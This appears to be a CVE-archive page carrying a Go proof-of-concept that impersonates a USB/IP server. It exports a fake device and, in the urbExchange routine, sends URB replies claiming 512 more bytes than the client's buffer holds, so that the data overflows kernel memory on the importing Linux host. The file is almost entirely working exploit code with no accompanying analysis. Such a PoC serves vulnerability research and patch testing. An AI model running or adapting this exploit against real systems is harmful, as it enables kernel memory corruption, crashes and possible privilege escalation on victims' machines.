4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / usbip_protocol.go GO
package uboatdemo

// https://www.kernel.org/doc/Documentation/usb/usbip_protocol.txt

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"log"
	"net"
)

const (
	USBIP_STATUS_OK = 0
	OP_REQ_DEVLIST  = 0x8005
	OP_REP_DEVLIST  = 0x0005
	OP_REQ_IMPORT   = 0x8003
	OP_REP_IMPORT   = 0x0003

	USBIP_CMD_SUBMIT = 0x00000001
	USBIP_RET_SUBMIT = 0x00000003
	USBIP_CMD_UNLINK = 0x00000002
	USBIP_RET_UNLINK = 0x00000004

	USBIP_MESSAGE_SIZE = 48

	FAKE_DEVICE_PATH = "/sys/fake/dangerous/usbipdemo"
	FAKE_BUS_ID      = "1-1"
	FAKE_VENDOR_ID   = 0xDEAD
	FAKE_PRODUCT_ID  = 0xBEEF

	// emulating USB 2.0 high speed device
	USB_SPEED_HIGH = 3

	// how much to try to overflow
	OVERFLOW_SIZE = 512
)

var (
	URB_DATA_PATTERN, _ = hex.DecodeString("deadc0de")
)

// common header for non-URB messages (coming from userspace)
type usbipHdr struct {
	Version uint16
	CmdCode uint16
	Status  uint32
}

// response to device list request (supports only 1 device for demo)
type devListResp struct {
	Hdr                 usbipHdr
	N                   uint32
	Path                [256]byte
	BusId               [32]byte
	BusNum              uint32
	DevNum              uint32
	Speed               uint32
	IdVendor            uint16
	IdProduct           uint16
	BcdDevice           uint16
	BDeviceClass        byte
	BDeviceSubClass     byte
	BDeviceProtocol     byte
	BConfigurationValue byte
	BNumConfigurations  byte
	BNumInterfaces      byte
	BInterfaceClass     byte
	BInterfaceSubClass  byte
	BInterfaceProtocol  byte
	Padding             byte
}

// response to device import request
type devImportResp struct {
	Hdr                 usbipHdr
	Path                [256]byte
	BusId               [32]byte
	BusNum              uint32
	DevNum              uint32
	Speed               uint32
	IdVendor            uint16
	IdProduct           uint16
	BcdDevice           uint16
	BDeviceClass        byte
	BDeviceSubClass     byte
	BDeviceProtocol     byte
	BConfigurationValue byte
	BNumConfigurations  byte
	BNumInterfaces      byte
}

// common header for URB messages (coming from kernel)
type urbHdr struct {
	CmdCode    uint32
	SeqNum     uint32
	DevId      uint32
	Direction  uint32
	EnpointNum uint32
}

// USBIP_CMD_SUBMIT
type urbCmdSubmit struct {
	Hdr            urbHdr
	TransferFlags  uint32
	TransferBufLen uint32
	StartFrame     uint32
	NumOfPackets   uint32
	Interval       uint32
	Setup          [8]byte
}

// USBIP_RET_SUBMIT
type urbRetSubmit struct {
	Hdr          urbHdr
	Status       uint32
	ActualLen    uint32
	StartFrame   uint32
	NumOfPackets uint32
	ErrorCnt     uint32
	Setup        [8]byte
}

func sendDeviceList(conn net.Conn, hdr *usbipHdr) {
	var resp devListResp

	// pretend to be the same USB/IP version just in case
	resp.Hdr.Version = hdr.Version
	resp.Hdr.CmdCode = OP_REP_DEVLIST
	resp.Hdr.Status = USBIP_STATUS_OK

	// number of devices (always 1)
	resp.N = 1

	copy(resp.Path[:], []byte(FAKE_DEVICE_PATH))
	copy(resp.BusId[:], []byte(FAKE_BUS_ID))
	resp.BusNum = 1
	resp.DevNum = 1

	resp.IdVendor = FAKE_VENDOR_ID
	resp.IdProduct = FAKE_PRODUCT_ID
	resp.Speed = USB_SPEED_HIGH

	respBuf := bytes.NewBuffer(nil)
	err := binary.Write(respBuf, binary.BigEndian, &resp)
	if err != nil {
		log.Println(err)
		conn.Close()
		return
	}

	_, err = conn.Write(respBuf.Bytes())
	if err != nil {
		log.Println(err)
		conn.Close()
		return
	}

	log.Println("sending fake device list")
}

func sendImport(conn net.Conn, hdr *usbipHdr) {
	var resp devImportResp

	// pretend to be the same USB/IP version just in case
	resp.Hdr.Version = hdr.Version
	resp.Hdr.CmdCode = OP_REP_IMPORT
	resp.Hdr.Status = USBIP_STATUS_OK

	copy(resp.Path[:], []byte(FAKE_DEVICE_PATH))
	copy(resp.BusId[:], []byte(FAKE_BUS_ID))
	resp.BusNum = 1
	resp.DevNum = 1

	resp.IdVendor = FAKE_VENDOR_ID
	resp.IdProduct = FAKE_PRODUCT_ID
	resp.Speed = USB_SPEED_HIGH

	respBuf := bytes.NewBuffer(nil)
	err := binary.Write(respBuf, binary.BigEndian, &resp)
	if err != nil {
		log.Println(err)
		return
	}

	_, err = conn.Write(respBuf.Bytes())
	if err != nil {
		log.Println(err)
	}

	log.Println("fake device is being exported")
}

func fillBuf(buf []byte) {
	for i := 0; i < len(buf); i += len(URB_DATA_PATTERN) {
		copy(buf[i:], URB_DATA_PATTERN)
	}
}

type byteWriter struct {
	dst []byte
}

func (b *byteWriter) Write(p []byte) (n int, err error) {
	return copy(b.dst, p), nil
}

func urbExchange(conn net.Conn) {
	buf := make([]byte, 1500)

	for {
		_, err := conn.Read(buf)
		if err != nil {
			log.Println(err)
			conn.Close()
			return
		}

		var submit urbCmdSubmit
		err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &submit.Hdr)
		if err != nil {
			log.Println(err)
			conn.Close()
			return
		}

		// for the purposes of demo we care about submit command only
		if submit.Hdr.CmdCode == USBIP_CMD_SUBMIT {
			// log.Println(hex.EncodeToString(buf[:n]))
			// read the whole structure
			err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &submit)
			if err != nil {
				log.Println(err)
				conn.Close()
				return
			}

			var ret urbRetSubmit
			ret.Hdr.CmdCode = USBIP_RET_SUBMIT
			ret.Hdr.SeqNum = submit.Hdr.SeqNum
			ret.Hdr.DevId = submit.Hdr.DevId
			ret.Hdr.Direction = submit.Hdr.Direction
			ret.Hdr.EnpointNum = submit.Hdr.EnpointNum

			// sending more than the actual buffer can hold
			ret.ActualLen = submit.TransferBufLen + OVERFLOW_SIZE

			err = binary.Write(&byteWriter{buf}, binary.BigEndian, &ret)
			if err != nil {
				log.Println(err)
				conn.Close()
				return
			}

			fillBuf(buf[USBIP_MESSAGE_SIZE:])
			//log.Println(hex.EncodeToString(buf[:USBIP_MESSAGE_SIZE+ret.ActualLen]))

			_, err = conn.Write(buf)
			if err != nil {
				log.Println(err)
			}

			log.Printf("sending %v bytes, but actual buffer is %v bytes", ret.ActualLen, submit.TransferBufLen)
		}
	}
}

func handleConnection(conn net.Conn) {
	buf := make([]byte, 1500)

	for {
		_, err := conn.Read(buf)
		if err != nil {
			log.Println(err)
			conn.Close()
			return
		}

		var hdr usbipHdr
		err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &hdr)
		if err != nil {
			log.Println(err)
			conn.Close()
			return
		}

		if hdr.CmdCode == OP_REQ_DEVLIST {
			sendDeviceList(conn, &hdr)
			conn.Close()
			return
		} else if hdr.CmdCode == OP_REQ_IMPORT {
			sendImport(conn, &hdr)

			// kernel communication begins here
			urbExchange(conn)
			break
		}
	}
}